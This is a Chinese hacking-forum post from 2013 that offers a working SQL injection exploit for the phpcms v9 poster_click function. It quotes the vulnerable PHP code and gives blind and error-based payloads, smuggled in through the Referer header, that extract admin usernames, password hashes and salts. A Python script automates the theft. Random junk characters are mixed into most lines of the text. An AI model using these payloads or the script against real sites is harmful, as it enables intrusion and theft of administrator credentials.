找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2318|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:, y& G' {1 H; x0 p2 @

  j7 x+ ?! ^% e( X3 K: `/ \问题函数\phpcms\modules\poster\index.php
! r6 K4 ]" W( a
" a  ]& C( m3 H8 @6 Npublic function poster_click() {2 T6 ?1 A3 |, e# g) O- W7 W
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;" _( O; \1 S3 F6 F' o
$r = $this->db->get_one(array('id'=>$id));
  X  L) y1 Q# R  ~( k8 jif (!is_array($r) && empty($r)) return false;
( g! I. u- V( D7 o' j* f$ip_area = pc_base::load_sys_class('ip_area');
1 j5 C: ^0 }4 ~6 I. q, z$ip = ip();
3 ^3 s6 I3 `" S5 N# B4 s$area = $ip_area->get($ip);
+ Z0 m" B6 q( t# @. v, U( `/ A$username = param::get_cookie('username') ? param::get_cookie('username') : '';0 u& l+ F5 `% S$ r( U4 G
if($id) {. F  x- o# D6 M+ w, a7 _' V
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();; {+ I) L/ ~8 ~  R" G. o! w' ?) |
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));1 Z2 n1 F4 E1 {4 l8 W* z
}  W' I9 j0 f1 @  r' r1 a8 n
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
) f0 s- x9 ?' p! w* Y$setting = string2array($r['setting']);
1 j$ N$ \/ ~! m4 Iif (count($setting)==1) {: o4 r. Z9 x. e( a+ q$ o7 n8 T+ A
$url = $setting['1']['linkurl'];
' @: Z! s4 g9 w+ \, }2 C} else {
, ?' v4 M+ V+ v- ^$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
- f# Q$ l% S" P" \" ?}
+ X/ T. v& T" r- Z' a% A4 d( @+ v, C! hheader('Location: '.$url);
4 m* `, y1 _) }. Z' ~  g}! i. V: ?, Z8 Q0 f
/ P6 g9 k$ V" q0 z  U
* `" p- ]- E0 s7 t& _9 ?9 K/ Q

& ]2 p$ M( A  R利用方式:
0 g% L% v" m* h/ F6 _6 ~# _& p, i
5 v6 }6 a& t6 A$ G- `9 a/ m0 F1、可以采用盲注入的手法:; a' s/ R4 P9 `* y* ^+ J; v% R/ i

! z  P, [* ~, K$ r4 r& ireferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
2 o( Y) |* X( K$ x% g1 a4 \' G7 C; |0 J$ W: O2 h
通过返回页面,正常与否一个个猜解密码字段。
4 [& r7 A( B9 }+ W+ }
) R" Z) S  b( w; J: ?2、代码是花开写的,随手附上了:$ w2 O# b; G8 a- j' k$ L2 h
8 `# Q+ Z$ X; z9 v# V, p: n$ T
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
4 m! a- j' r+ V* d6 C3 v$ i2 B, _7 w5 T- r0 L1 Y: D
此方法是爆错注入手法,原理自查。
8 \' G7 f, c$ d. T) L8 x1 A! Z- B# l
5 u6 o9 z3 Z6 _! s8 W

0 k- j1 ^3 P+ C/ b利用程序:( u! p5 H0 K' z/ N8 G3 F* C
; r& P! |9 [* c% E6 s
#!/usr/bin/env python0 a% n8 f3 j* o( K% X  `1 ^8 a; R% o
import httplib,sys,re$ w) E% c; {" j
' R) G$ l. p; W! H3 o: F
def attack():6 m/ J3 r' T' W5 R
print “Code by Pax.Mac Team conqu3r!”
: i& n. J2 G" x, r! rprint “Welcome to our zone!!!”9 `: L* v  q! D9 I! |1 N
url=sys.argv[1]) j+ }, D& L- Q  s
paths=sys.argv[2]7 i0 k, F+ O3 R* }. g2 n9 o
conn = httplib.HTTPConnection(url)2 C" j) v( ?6 F( O# i9 N# ]! ^9 j7 K
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,$ B+ Q7 i9 h7 a0 F
“Accept”: “text/plain”,
: w. N; x7 G) |4 ?8 u2 G“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}  q' R" _. s+ K1 c
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)1 {2 s3 e* F( C+ `1 p. F
r1 = conn.getresponse()
7 ?1 F- [  ~: l4 d6 K$ i& udatas=r1.read()( D" ^" M! ]7 _; j0 i3 Y# J0 }3 C
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
, O8 x/ @4 O* R) Aprint datas[0]' _5 N9 `  A; C) i
conn.close(): u: `4 s2 _. ]
if __name__==”__main__”:
4 \0 o" R/ x# ~4 u2 i1 h. u" `if len(sys.argv)<3:$ N3 Q& {! e0 J9 e$ q
print “Code by Pax.Mac Team conqu3r”) d) H. y1 D/ C+ F( e/ F
print “Usgae:”
" c6 @: [( n- |print “    phpcmsattack.py   www.paxmac.org /”
5 o1 o3 c0 U5 Sprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
& ?0 U" g& }, C& msys.exit(1)3 [/ l8 m5 n& t4 n" }
attack()
  g: u' `+ K* c1 Z5 x# y' f7 |+ N6 H7 v( x( G* }2 j, A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表